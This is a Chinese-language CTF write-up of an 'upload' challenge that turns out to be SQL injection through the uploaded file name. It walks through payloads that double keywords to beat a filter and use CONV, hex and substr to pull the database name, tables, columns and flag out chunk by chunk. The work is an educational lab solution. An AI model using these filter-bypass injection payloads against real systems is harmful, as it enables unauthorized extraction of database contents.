CTF做题笔记--upload

0×00

我们直接来看这道题目,在这里我们可以发现上传任何的文件都可以说是上传成功,这一点和其他的文件上传漏洞不太一样,其他的大部分都是通过限制上传危险文件,但这个并不是。而且在上传完文件之后,也没有给出文件的上传路径,但是会回显出文件名。

如上图所示,这里回显出来了我们的文件名

这里比较关键的是需要我们想到这里可以利用sql注入来获取flag

当然,这里是图片文件名存在注入,并且过滤了select from ,我们通过用双写就能绕过

在做这道题之前,我们需要去了解一个函数:CONV()

0×01

这个函数的主要功能就是将N从from_base这个进制转换成对应的to_base进制,比如这里的CONV(5,16,2),就是将5的16进制转换为2进制,所以得出的结果就算101。

在介绍完这个关键的函数之后,我们就可以开始进行后续的操作了。(以下是看wp来推断的)

 sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

在wp里面出现了上述的sql注入代码

意思就是我们将substr(hex(dAtaBase()) 的结果从16进制转化为10进制

起初我没明白为什么要这么长 直接sselectelect database()不就行了吗?

尝试以后发现应该都是题的设置

sselectelect database()  =>  0

selecselectt substr(dAtabase(),1,12)  =>  0

selecselectt substr(hex(dAtabase()),1,12)  =>  7765625          这里正常应该显示7765625f7570才对,可能是题目的设置,出现字母以后后面内容就会被截断

所以才用到了CONV,将16进制转化为10进制

但是又有了一个疑问,为什么substr要设置为1到12呢,尝试以后发现

当我们设置为1,13时  

在出现了科学计数法,这是无法转化为10进制的,所以才设定了1,12这个限制(这里出现了小数点以及e这个科学计数法的经典提示)

这些搞明白了以后那就开始注入了

0×02

sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg  => 131277325825392  => web_up (这里将10进制再转化为16进制进行hex解码就出来了)

sql'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg  =>  1819238756  =>  load

拼接以后 web_upload

表: 

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg

拼接以后为 files,hello_flag_is_here

列:

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

拼接以后为 i_am_flag

字段:

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg

拼接以后为 !!_@m_Th.e_F!lag

注意

在这里我们需要注意到的是代码中出现的.jpg也是需要加上去的

我们实际上上传的是这样一个filename:

sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg .jpg

如果没加后面的jpg就会提示你上传失败

还有在上述的注入代码中出现了'sql'+(...)+'',这里的本意是为了拼接文件名,形成sql注入

欸,这题披着upload的皮,内部却是sql注入,实在是太有迷惑性了,太烧脑了,做的时候第一时间就想到了sql注入,但是没想到是通过文件名的方式来形成注入,学到了学到了

参考链接:https://www.cnblogs.com/sharpff/p/10728498.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值